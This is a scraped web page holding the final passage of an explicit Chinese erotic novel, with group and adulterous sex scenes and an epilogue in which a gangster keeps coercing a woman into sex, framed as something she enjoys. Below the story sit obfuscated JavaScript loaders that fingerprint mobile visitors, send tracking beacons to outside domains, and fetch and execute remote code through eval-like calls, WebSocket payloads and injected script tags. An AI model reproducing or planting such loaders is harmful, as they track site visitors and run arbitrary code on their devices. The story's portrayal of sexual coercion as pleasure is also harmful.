  这时,曼玲的阴户被小丁的大鸡巴完全塞满,一股热热的感觉,和龟头上肉稜滑刮在阴壁产生的快感,阴户口张满稍痛的痛觉,不断地传遍全身,使她如醉如痴,失去理智。

  曼玲的臀部又美妙地扭动,迎合着小丁的节奏。

  「啊!唷!手……手……你的手……快……快……乳尖痒……用力揉……哎!啊!唔!唔………。」

  他一听,便用手揉着那两粒鲜红的乳尖,只听见:「嗯!喔……好……好极了……我要发狂了……我狂疯了………快!用嘴吸吮……吮……好!好极了……。」

  眼睛微微张着,脸色发白,阴户里更加滑润,淫液已汹涌狂流。

  突然,她的臀部停止动作,那肉缝开始紧缩,肉洞里的软肉在颤抖,子宫口像小孩的嘴一样,吸吮着小丁的龟头,他的全身汗毛开始耸立,只觉得小腹底下一阵酸,精液喷射入曼玲的子宫内。

  她一阵痉挛,四肢瘫痪似地鬆解下来,嘴里「啊!啊!」几声,平静了。

  一阵连番大战,尽情欢乐,两男四女,在床里、客厅、浴室,不管在那里,不限定对象,只要有耐力,有精神,相拥尽性,缠绵不休,淋漓尽至。

  天色转亮,一宵易过,不够,参与的这些人儿,已精疲力竭,赤裸裸,精光光地躺下了。

  

  

  ——————————————————————————–

  从一次轮番战后,清枝爱上了小丁。

  不论是清枝和小丁的恋情是真是假,不过两人且是你浓我浓,像橡皮糖似地紧紧黏在一起了。

  清枝本来是个温柔的女子,但一旦爱起来,就像发疯一般地执着,在热爱里两人都像发疯般地投入,那管得了什幺是前途,什幺是未来,两人浑成一体时,眼前的世界,就只有彼此两人而已。

  自从与小丁交往后,清枝以为寻获了「真爱」,虽然小丁比她小了好几岁,但两情相悦的世界里,不需要任何条件的,她从多年来的生活里,积存了的私蓄也不少,只要小丁爱她,其他的,她也不会考虑了。

  她用积蓄在郊外购了一户房子,让小丁居住,也供给了小丁的日常开支,每在老公的忙碌时,或藉口外出访友,就驱车直奔香巢,会见情郎。

  这时,两人赤裸裸地斜躺在席梦思上,啜饮着香槟,亲亲爱爱地,你亲近我,我亲近你起来。

  「小丁!我这样对待你,你说!该怎样谢我?」

  「不用谢,我只会爱你,好好爱你。」

  清枝的美眼一抛,风情多得让人无法招架,她娇哼一声:「哼!好甜的小嘴。」

  小丁不管她怎幺,好似恶虎一般扑了上去,猛扑在她的身上,于是两人就撕扭在一起。

  清枝一滚,变成仰面平躺,双膝曲起向左右分开,现出长着不少黑毛的阴丘,沿毛而下,是一处粉红的阴户,腹部平坦,乳房坚挺雪白,小丁此时已是百脉俱张,慾火如炽,胯下阳物昂然似铁,立即爬伏在她身上,左手支持着上身,右手扶着大鸡已,抵住她的阴穴,臀部一沈。

  或许是用力过猛,龟头是插进了,但清枝却「哎唷!」一声,猛抱着他:「慢点!有些痛,你这小鬼真坏,怎幺这样闯。」

  清枝用手紧抱小丁的臀部,自已用阴户向上一挺,把鸡巴全根含入穴内。

  「动吧!」清枝仰起上身,抱着小丁,给了一个香吻。

  小丁只觉得阴穴内温软润滑,非常舒适,抽送也就加快。不久,清枝也配合着挺动阴户,并且抬高了双腿,不断发出「嗯!哼!啊!」的声音。双眼紧闭,全身发抖。

  他见她那种淫骚劲,不由柔情地伏下上身吻着她,又不时用手揉弄着那对乳尖。

  一会儿,清枝那阴道里阵阵的骚水流出,娇躯扭摆,肥臀上挺,不住地往上抛动。

  大难巴顶上了花心,舒服得清枝又哼出舒爽的浪声。

  「哼……哼……呀……啊……啊……我……我的……好小丁……啊……啊……美……美死了……舒……舒服……啊!啊!」

  连续猛插几下,每下到直到花心,清枝的神经和肉体,都会抽搐一下,淫水直往外流。

  「好……好……小丁……小丁……快!快……啊……哎……我………我…好舒服……舒服……美………美死了……我,我要……洩………洩了……唔……唔……。」

  一股热流冲击小丁的龟头,麻麻的、痒痒的,乳白色的液体,顺着阴户,直奔往外。

  清枝娇弱地躺在小丁身下,已经是香汗淋漓,媚眼细细,只感到一阵快感,从阴户中传出,又舒畅、又美妙!

  她已快乐得欲仙欲死,娇躯又扭又颤,屁股不断地往上抛动,嘴巴里浪叫着,也不知道叫什幺,只知道一阵阵舒畅,流遍全身,全身都酥麻了,全身瘫痪了一样,一动也不动了。

  紧紧抱着清枝的玉体,小丁也忍不住「哦!」一声,满满的阳精喷射入子宫里。

  两人都达到了高潮,紧紧的抱在一起,腿儿相接,嘴相贴,一下一下地颤抖着,这是人生至高的享受,是至爱的表现,春色无边。

  (后记:)李虎还在黑道里混,坐牢只是增加他的「知名度」,出来后更加地受到兄弟们的孝敬,势力範围更扩大了,有了地盘的奉贡。钱是没有问题,他也不要曼玲的一分一毫,不过他是吃定了曼玲那成熟的玉体,一次又一次的电话打到「大来」珠实公司找「老板娘」,曼玲也只有胁于淫威,每次应召,提供动人玉体任由李虎来满足淫慾,也满足了她没法从「老公」那里获得的「淫乐」。

  惠琴和「伟民」本来就暗来偷往的老相好,怎会一下就断呢?当然了,他(她)们继续他们的偷情人生,在旅社,在宾馆,在旅游的日程里,亲亲热热,甜甜蜜蜜地尽情享受了以后的时光。但是,「见不得光」的情,能延续多久,只有天知道。哎!管它,目前的快乐才是真的,将来事谁也不去想了。

  清枝和小丁的情,在小丁完成学业后,曾经好像是中断,小丁去了后,清枝和她表哥「中光」的藕断丝连满足了她的淫欲,不过,小丁还是忘不了清枝那玲珑白皙的躯体,藉着工作上的方便,从南奔北驰的空闲里,与清枝在台中见面,再续露水缘,同效鸳鸯梦。

  秀馨没有对象,但她不甘寂寞,每在情慾难熬时,她会外出,在郊区的特定俱乐部中,迎来午夜牛郎略解淫情。

  ——————————————————————————–

关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();